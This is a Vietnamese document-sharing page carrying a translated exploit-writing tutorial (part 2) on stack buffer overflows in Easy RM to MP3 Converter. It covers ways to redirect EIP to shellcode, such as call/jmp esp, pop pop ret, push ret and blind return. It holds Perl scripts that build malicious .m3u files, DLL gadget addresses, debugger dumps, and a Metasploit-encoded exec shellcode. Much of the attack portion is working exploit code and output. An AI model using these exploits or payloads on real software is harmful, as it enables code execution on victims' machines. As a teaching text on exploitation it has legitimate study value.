1. Trang chủ
  2. » Công Nghệ Thông Tin

ebook viet code khaithac exploit 2

31 282 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 31
Dung lượng 0,96 MB

Nội dung

ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2

Trang 1

Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode

Ở phần trước tôi đã trình bày về cách cơ bản để tìm kiếm một lỗ hổng và cách để xây dựng một exploit hoạt động được Trong ví dụ đó, chúng ta đã thấy ESP trỏ trực tiếp đến điểm bắt đầu trong buffer ( chúng ta chỉ phải thêm 4bytes

để ESP trỏ trực tiếp tới shell code) và chúng ta sử dụng “jmp esp” để cho shell code chạy

Lưu ý: Phần hai này được viết nối tiếp phần một, chính vì vậy nên dành thời gian để đọc và hiểu đầy đủ phần một trước khi đọc phần hai này

Chúng ta thấy rằng việc sử dụng “jmp esp” là một kịch bản quá hoàn hảo Điều đó là không dễ trong mọi hoàn cảnh Hôm nay tôi sẽ trình bày một số cách

để execute/jump tới shell code Cuối cùng sẽ trình bày về cách bạn phải xử lý khi đối mặt với trường hợp kích thước của buffer quá nhỏ

Có nhiều phương pháp để buộc phải thực thi shellcode, đó là:

Jump ( hoặc call) thanh ghi trỏ trực tiếp đến shellcode Với kỹ thuật này,

cơ bản là bạn sẽ sử dụng một thanh ghi có chứa địa chỉ trỏ tới nơi chứa shellcode và đặt địa chỉ này vào trong EIP Bạn sẽ cố gắng tìm opcode của

“jum” hoặc “call” tới thanh ghi có trong các dll file của ứng dụng đang chạy Khi bạn tạo ra payload, thay vì ghi đè EIP tới một địa chỉ trong bộ nhớ, bạn sẽ ghi đè địa chỉ chứa lệnh “jum to register” Đương nhiên, phương pháp này chỉ hoạt động tốt khi mà thanh ghi chứa địa chỉ trỏ tới shellcode Đây là cách mà chúng ta đã sử dụng trong phần một nên tôi không nói nữa

Pop return: nếu không có một thanh ghi nào trỏ trực tiếp tới địa chỉ, nhưng bạn có thể thấy một địa chỉ trong stack ( có thể nằm ở đầu tiên, thứ hai…)trỏ tới shellcode, bạn có thể tải vào trong EIP, nếu ở đầu tiên là pop ret, hoặc pop pop ret nếu thứ hai, hoặc pop pop pop pop ret phụ thuộc vào vị trí nằm trong stack

Push return: phương pháp này hơi khác so với phương pháp “call to register”, nếu bạn không thể tìm thấy opcode “call register” hoặc “jump register”, bạn có thể push địa chỉ vào stack và tiến hành ret Do đó, bạn cần tìm push register theo sau là ret Nếu như tìm được chuỗi này, một địa chỉ thực thi

Trang 2

chuỗi này, và ghi đè EIP với địa chỉ tìm được.

jmp [reg + offset] : nếu một thanh ghi trỏ đến stack chứa shellcode, nhưng không trỏ trực tiếp tới điểm bắt đầu của shellcode, bạn cũng nên có gắng tìm trong các lệnh của OS hoặc dll mà thêm các bytes cần thiết vào thanh ghi rồi tiến hành jump Tôi gọi đó là phương pháp jmp [reg + offset]

blind return : Trong bài viết trước đây, ESP trỏ đến vị trí đỉnh stack hiện hành Một lệnh RET khi thực thi sẽ thực hiện lệnh pop giá trị cuối cùng ( 4bytes) từ stack và đặt địa chỉ đó vào EIP Vậy nếu bạn ghi đè EIP bằng một địa chỉ thực hệnh lệnh RET, bạn sẽ mang được địa chỉ trong ESP vào EIP

Nếu bạn phải đối mặt với trường hợp không gian bộ nhớ có sẵn trong buffer bị giới hạn sau khi EIP bị ghi đè lên, nhưng lại có rất nhiều không gian trước khi ghi đè ESP, bạn có thể sử dụng lệnh jump ở phần buffer nhỏ để nhảy

về đầu buffer, nơi chứa main shellcode

SEH: Mọi ứng dụng để có những xử lý ngoại lệ mặc định được cung cấp bởi OS Vì vậy ngay cả khi ứng dụng không sử dụng xử lý ngoại lệ, bạn vẫn có thể thử ghi đè lên phần xử lý SEH bằng địa chỉ của bạn và làm nó nhảy tới shellcode của bạn Sử dụng SEH làm cho exploit trở nên tin cậy trên nhiều nền tảng Windows, nhưng đòi hỏi nhiều kỹ năng hơn trước khi bắt đầu lợi dụng SEH để xây dựng exploit Ý tưởng ở đây là giả sử bạn xây dựng một exploit không hoạt động được trên OS đã cho, phần payload sẽ gây crash ứng dụng, kích hoạt một ngoại lệ ( trigger) Vì vậy bạn có thể kết hợp một exploit thông thường với một SEH exploit thành một exploit tin cậy Phần ba của loại tutorial

sẽ nói về SEH exploit Chỉ cần nhớ rằng, đặc điểm điển hình của stack based overflow là ghi đè lên một EIP, có khả năng gọi tới một SEH exploit cơ bản cho phép tin cậy hơn, một buffer có kích thước lớn hơn

Các kỹ thuật sử dụng trong tài liệu này chỉ là ví dụ Mục tiêu của bài này chính là chỉ cho các bạn thấy rằng, có nhiều cách để nhảy đến shellcode, và trong từng trường hợp có thể chỉ có một cách ( hoặc kết hợp nhiều kỹ thuật) để làm cho đoạn mã của bạn được chạy

Có thể có nhiều phương pháp của để làm cho exploit chạy và chạy một cách tin cậy Nhưng nếu bạn nắm được các kỹ năng được sử dụng ở đây, và nếu

sử dụng trong trường hợp thông thường, bạn sẽ có thể tìm được cách giải quyết hầu hết các vấn đề khi cố tìm cách nhảy đến shellcode của bạn Ngay cả khi

Trang 3

một kỹ thuật như là làm việc được, nhưng shellcode vẫn không muốn chạy, bạn vẫn có thể thử với việc mã hóa encode shellcode, di chuyển shellcode ra xa hơn một tý và đặt NOP bytes trước đó Đây là tất cả mọi thứ giúp bạn hoàn thành công việc.

Tất nhiên, hoàn toàn có thể là một lỗ hổng dẫn tới việc crash, và không bao giờ exploit được Bây giờ tôi sẽ thực hiện các kỹ thuật đã được liệt kê ở trên

1 call [reg]

Nếu một thanh ghi chứa một địa chỉ trỏ trực tiếp tới shellcode, bạn có thể

sử dụng call [reg] hoặc jump trực tiếp đến shellcode Nói cách khác, nếu ESP trỏ trực tiếp vào shellcode ( nên bytes đầu tiên của shellcode là bytes đầu tiên của ESP) bạn có thể ghi đè EIP với địa chỉ chứa lệnh “call esp”, và shellcode sẽ được thực thi Điều này làm việc với tất cả thanh ghi và thư viện kernel32.dll chứa rất nhiều địa chỉ chứa call [reg]

Quick example : giả sử ESP trỏ trực tiếp đến shellcode, đầu tiên hãy tìm một opcode có chứa “call esp” Chúng ta sẽ sử dụng findjmp:

findjmp.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with the esp register

0x7C836A08 call esp

0x7C874413 jmp esp

Finished Scanning kernel32.dll for code useable with the esp register

Found 2 usable addresses

Tiếp theo, chúng ta sẽ ghi đè EIP với địa chỉ 0x7C836A08

Trong ví dụ trước, với Easy RM to MP3, chúng ta biết rằng có thể trỏ ESP tới shellcode bằng cách thêm 4 ký tự giữa EIP và ESP, exploit sẽ như sau:

my $file= "test1.m3u" ;

my $junk= "A" x 26094;

my $eip = pack( 'V' ,0x7C836A08); #overwrite EIP with call esp

my $prependesp = "XXXX" ; #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 25; #start shellcode with some NOPS

Trang 5

Trong ví dụ Easy RM to MP3, chúng ta hoàn toàn có thể tinh chỉnh để ESP trỏ trực tiếp tới shellcode Vậy sẽ như thế nào nếu không có thanh ghi nào trỏ tới shellcode.

Vâng, trong trường hợp này, địa chỉ trỏ tới shellcode có thể nằm trên stack Nếu bạn dump esp, nhìn vào các địa chỉ đầu tiên Nếu một trong các địa chỉ này trỏ tới shellcode ( hoặc buffer bạn điều khiển được), tiếp theo bạn có thể tìm được pop ret hoặc pop pop ret

Lấy địa chỉ trong stack

Nhảy đến địa chỉ bạn sẽ đưa bạn tới shellcode

Kỹ thuật pop ret chỉ có tác dụng khi ESP+offset chứa địa chỉ trỏ tới shellcode Vì vậy, khi dump ESP, nếu một trong các địa chỉ đầu tiên trỏ tới shellcode, và đặt một tham chiếu tới pop ret ( hoặc pop pop ret) trong EIP Điều này làm mất một số địa chỉ trong stack ( một địa chỉ cho một lần pop) và đưa địa chỉ tiếp theo vào EIP Nếu một trong số đó trỏ tới shellcode, bạn sẽ thành công

Trường hợp thứ hai sử dụng pop ret: điều khi bạn kiểm soát được EIP, không có thanh ghi nào trỏ tới shellcode, nhưng shellcode của bạn được thấy ở ESP+8 Trong trường hợp này, bạn có thể đặt pop pop ret vào EIP, sẽ nhảy tới ESP+8

Hãy xây dựng một thử nghiệm Chúng ta có 26094 bytes trước khi ghi đè EIP, và cần 4bytes trước khi ở tại vị trí ESP trỏ tới (trong trường hợp của tôi, đây là 0x000ff730)

Chúng ta sẽ mô phỏng tại ESP+8, có một địa chỉ trỏ tới shellcode ( thực tế tôi sẽ đặt shellcode ngay sau đó, nhắc lại đây chỉ là thử nghiệm)

26094 A, tiếp theo là XXXX ( kết thúc là nơi ESP trỏ tới), break, tiếp đến

là 7 NOP, break, và nhiều NOP nữa Giả sử shellcode bắt đầu từ break thứ hai Mục đích là nhảy từ break đầu tiên tới tới break thứ hai, ESP+8 ở 0x000ff738

my $file= "test1.m3u" ;

my $junk= "A" x 26094;

my $eip = "BBBB" ; #overwrite EIP

my $prependesp = "XXXX" ; #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\xcc" ; #first break

$shellcode = $shellcode "\x90" x 7; #add 7 more bytes

$shellcode = $shellcode "\xcc" ; #second break

$shellcode = $shellcode "\x90" x 500; #real shellcode

open($FILE, ">$file" );

print $FILE $junk.$eip.$prependesp.$shellcode;

Trang 6

print "m3u File Created successfully\n" ;

Nhìn vào stack, ứng dụng bị crash bởi buffer overflow EIP bị ghi đè bởi BBBB ESP trỏ tới 000ff730, bắt đầu với break đầu tiên, tiếp đến là 7 NOP, chúng ta sẽ thấy break thứ hai, nơi thực sự bắt đầu của shellcode ( tại địa chỉ 0x000ff738)

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa

eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

Missing image name, possible paged- out or corrupt data.

Missing image name, possible paged- out or corrupt data.

Missing image name, possible paged- out or corrupt data.

<Unloaded_P32.dll>+0x42424231:

42424242 ?? ???

0:000> d esp 000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 .

000ff740 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff760 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

0:000> d 000ff738 000ff738 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff748 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff758 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff768 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff778 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff788 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff798 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7a8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

Mục đích là lấy giá trị trong ESP+8 vào EIP, và làm cho nhảy đến shellcode Chúng ta sẽ sử dụng kỹ thuật pop ret và địa chỉ của jmp esp để hoàn thành

Một lệnh pop sẽ lấy 4bytes trong stack, khi đó ESP trỏ tới 000ff734 Chạy một lệnh pop nữa, sẽ lấy tiếp 4bytes nữa, ESP trỏ tới 000ff738 Khi lệnh ret được thực thi, giá trị hiện tại của ESP sẽ được đưa vào EIP Cho nên giá trị tại 000ff738 chứa địa chỉ của lệnh jmp esp, thì đó là những gì EIP sẽ làm Buffer sau 000ff738 chứa shellcode của chúng ta

Chúng ta cần tìm pop,pop,ret trong một nơi nào đó, và ghi đè EIP bằng địa chỉ lệnh đầu tiên trong chuỗi lệnh đó Và chúng ta phải thiếp lập ESP+8 trỏ đến địa chỉ của jmp esp, theo sau là shellcode của chúng ta

Trước tiên chúng ta phải biết opcode của pop pop ret Chúng ta sẽ sử dụng chức năng assembly trong windbg để thực hiện:

0:000> a

7c90120e pop eax

pop eax

7c90120f pop ebp

pop ebp

Trang 7

Cho nên pop pop ret có opcode là 0×58,0x5d,0xc3

Đương nhiên, chúng ta có thể sử dụng các opcode khác, ví như các opcode sau đây:

Bây giờ chúng ta phải tìm chuỗi opcode này trong các dll có sẵn Trong phần một chúng tôi đã nói dll ứng dụng so với dll của hệ điều hành Theo đó, tôi khuyến cáo sử dụng dll của ứng dụng bởi nó làm tăng tính tin cậy, tránh phụ thuộc vào phiên bản windows Nhưng bạn cần chắc chắn rằng dll sử dụng địa chỉ đó mọi lúc Đôi khi, dll được rebase và trường hợp đó tốt hơn sử dụng dll của OS như user32.dll hoặc kernel32.dll

Mở Easy RM to MP3 ( và không mở gì cả) rồi đính kèm windbg vào tiến trình chạy Windbg sẽ hiển thị các module được load, gồm cả OS modules và module ứng dụng ( tìm dòng bắt đầu với ModLoad)

Đây là một vài dll của ứng dụng:

ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll

ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll

ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll

ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll

Bạn nên hạn chế sử dụng các địa chỉ chứa null bytes bởi nó làm việc exploit trở nên khó khăn hơn Tìm kiếm trong MSRMCcodec00.dll cho ta một số kết quả:

Trang 8

Buffer sẽ như sau:

[AAAAAAAAAAA AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]

26094 A's EIP 8 bytes offset JMP ESP

(=POPPOPRET)

Tiến trình exploit như sau:

1. EIP bị ghi đè bởi POP POP RET, ESP trỏ tới byte đầu tiên trong 8 bytes offset

2. POP POP RET được thực thi EIP lấy địa chỉ 0x01ccf23a tại ESP+8, ESP trỏ tới shellcode

3. EIP bị ghi đè địa chỉ tới jmp esp, lần nhảy thứ hai được thực hiện và shellcode được chạy

my $eip = pack( 'V' ,0x01ab6a10); #pop pop ret from MSRMfilter01.dll

my $jmpesp = pack( 'V' ,0x01ccf23a); #jmp esp

my $prependesp = "XXXX" ; #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 8; #add more bytes

$shellcode = $shellcode $jmpesp; #address to return via pop pop ret ( = jmp esp)

$shellcode = $shellcode "\xcc" "\x90" x 500; #real shellcode

open($FILE, ">$file" );

print $FILE $junk.$eip.$prependesp.$shellcode;

close($FILE);

print "m3u File Created successfully\n" ;

(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)

Trang 9

eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe

eip=000ff73c esp=000ff73c ebp=90909090 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

Missing image name, possible paged- out or corrupt data.

Missing image name, possible paged- out or corrupt data.

Missing image name, possible paged- out or corrupt data.

<Unloaded_P32.dll>+0xff72b:

000ff73c cc int 3

0:000> d esp 000ff73c cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff74c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff75c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff76c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff77c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff78c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff79c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7ac 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

Nó đã làm việc, bây giờ thay thế NOP sau jmp esp (ESP+8) với shellcode thực sự ( một số NOP và shellcode với mã hóa alpha_upper)

my $file= "test1.m3u" ;

my $junk= "A" x 26094;

my $eip = pack( 'V' ,0x01ab6a10); #pop pop ret from MSRMfilter01.dll

my $jmpesp = pack( 'V' ,0x01ccf23a); #jmp esp

my $prependesp = "XXXX" ; #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 8; #add more bytes

$shellcode = $shellcode $jmpesp; #address to return via pop pop ret ( = jmp esp)

$shellcode = $shellcode "\x90" x 50; #real shellcode

# windows/exec - 303 bytes

# http: //www.metasploit.com

# Encoder: x86/alpha_upper

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"

"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"

"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"

"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"

"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"

"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"

"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"

"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"

"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"

"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"

"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"

"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"

"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"

"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"

"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"

"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"

"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"

"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"

"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"

"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"

"\x31\x42\x4c\x42\x43\x45\x50\x41\x41" ;

open($FILE, ">$file" );

print $FILE $junk.$eip.$prependesp.$shellcode;

close($FILE);

print "m3u File Created successfully\n" ;

Trang 10

pwned !

3 push return

push ret tương tự như cal [reg] Nếu có một thanh ghi trỏ trực tiếp tới shellcode của bạn, và một lý do nào đó không thể sử dụng jmp [reg] để nhảy tới shellcode, bạn có thể:

đặt địa chỉ của thanh ghi vào trong stack, nó sẽ nằm ở đỉnh stack

ret ( lấy địa chỉ này trong stack và nhảy tới đó)

Để làm được việc này, bạn cần ghi đè EIP bằng địa chỉ của chuỗi push [reg] ret trong một thư viện dll Giả sử ESP trỏ trực tiếp vào shellcode, bạn cần tìm opcode push esp, theo sau là opcode ret

Trang 11

my $eip = pack( 'V' ,0x01aa57f6); #overwrite EIP with push esp, ret

my $prependesp = "XXXX" ; #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 25; #start shellcode with some NOPS

print "m3u File Created successfully\n" ;

Trang 12

pwned again !

4 jmp [reg]+[offset]

Một kỹ thuật khác để khắc phục tình trạng shellcode bắt đầu ở vị trí offset của thanh ghi ( ESP trong ví dụ) là thử tìm lệnh jmp [reg + offset] và ghi đè EIP bằng địa chỉ của lệnh này Giá sử chúng ta cần nhảy 8bytes ( như trong ví dụ trước), sử dụng kỹ thuật jmp reg+offset nhảy 8bytes tới trực tiếp shell code.Chúng ta cần 3 thứ:

Tìm được opcode của esp+8h

Tìm được địa chỉ trỏ tới lệnh này

Ghi đè EIP bằng địa chỉ đó

sẽ thêm một số NOP cho phù hợp

Trang 13

5. Blind return

Kỹ thuật này gồm 2 bước sau:

Ghi đè EIP với địa chỉ trỏ tới lênh RET

Biết được địa chỉ 4bytes đầu của ESP

Khi lệnh RET được thực thi, sẽ lấy 4bytes này ( lúc này đang ở đỉnh stack) ghi vào EIP

Exploit nhảy tới shellcode

Kỹ thuật này có tác dụng khi:

Bạn không thể trỏ EIP tới một thanh ghi ( vì không tìm được lệnh jump hay call nào)

Bạn điều kiển được ESP

Để thực hiện được, bạn cần phải có địa chỉ bộ nhớ của shellcode ( = địa chỉ stack) Như thường lệ, để tránh null bytes bạn thường đặt shellcode sau EIP Nếu shellcode đặt ở vị trí không có null bytes, nó có thể làm việc

Tìm địa chỉ của lệnh RET trong các dll

Thiết lập 4bytes đầu của ESP trỏ tới nơi shellcode bắt đầu, và ghi đè EIP với địa chỉ trỏ tới lệnh RET Nhớ rằng trong phần 1, ESP trỏ tới 0x000ff730, đương nhiên địa chỉ này thay đổi theo từng hệ điều hành, nhưng không có cách nào khác ngoài đặt cứng địa chỉ Buffer sẽ trông như sau:

[26094 A’s][address of ret][0x000fff730][shellcode]

6 Xử lý small buffer, nhảy tới bất kỳ với jump code.

Chúng ta đã nói về cách làm cho EIP nhảy tới shellcode của chúng ta Rõ ràng là chúng ta đã thoải mái đặt shellcode trong buffer ( phần sau EIP) Nhưng nếu chúng ta không có đủ độ lớn để đặt shellcode vào thì sao?

Trong ví dụ, chúng ta sử dụng 26094 A để ghi đè lên EIP, và chúng tôi thấy rằng ESP trỏ tới 26094+4bytes, có rất nhiều không gian ở phía trước Nhưng nếu chúng ta chỉ có 50bytes phía sau 50bytes để lưu trữ shellcode là không đủ

Vì vậy, chúng ta phải tìm xung quanh, và sử dụng 26094 khi kích hoạt tràn bộ nhớ đệm

Trang 14

Đầu tiên, chúng ta cần tìm 26094 bytes này ở đâu trong bộ nhớ Nếu không tìm thấy nó ở đâu, rất khó để tham chiếu tới Thực tế nếu tìm thấy trong bộ nhớ,

và một thanh ghi nào đó trỏ đến đó thì điều đó trở nên quá dễ dàng

Thử kiểm tra Easy RM to MP3, bạn có thể thấy rằng 26094 bytes có thể thấy trong ESP dump:

my $file= "test1.m3u" ;

my $junk= "A" x 26094;

my $eip = "BBBB" ;

my $preshellcode = "X" x 54; #let 's pretend this is the only space we have available

my $nop = "\x90" x 230; #added some nops to visually separate our 54 X' s from other data

open($FILE, ">$file" );

print $FILE $junk.$eip.$preshellcode.$nop;

close($FILE);

print "m3u File Created successfully\n" ;

Mở file test1.m3u, chúng ta sẽ thấy:

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715

eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

Missing image name, possible paged- out or corrupt data.

Missing image name, possible paged- out or corrupt data.

Missing image name, possible paged- out or corrupt data.

<Unloaded_P32.dll>+0x42424231:

42424242 ?? ???

0:000> d esp 000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX

000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

0:000> d 000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

0:000> d 000ff830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .

000ff840 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 .AAAAAAA

000ff850 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

000ff860 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

000ff870 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Chúng ta thấy 50 X trong ESP Giả sử đó là không gian dành cho shellcode Tuy nhiên, nhìn xuống dưới, chúng ta thấy rằng A bắt đầu tại địa chỉ 000ff849 (=ESP+281)

Khi nhìn vào các thanh ghi khác, chúng ta không thấy dấu vết nào của X và

A Vì vậy, đây chính là nó Chúng ta có thể ngảy tới ESP để thực thi shellcode, nhưng chúng ta chỉ có 50bytes Chúng ta sẽ sử dụng phần bộ nhớ khác trong

Trang 15

buffer của chúng ta ở vị trí thấp hơn, thực tế chúng ta sẽ nhảy tới phần nội dung của ESP, sẽ có phần bộ nhớ lớn với A.

Thật may mắn, A được lưu trữ và có cách từ X để nhảy tới A, để làm được như vậy ta cần một số điều sau:

Ngày đăng: 19/06/2017, 16:32

TỪ KHÓA LIÊN QUAN

w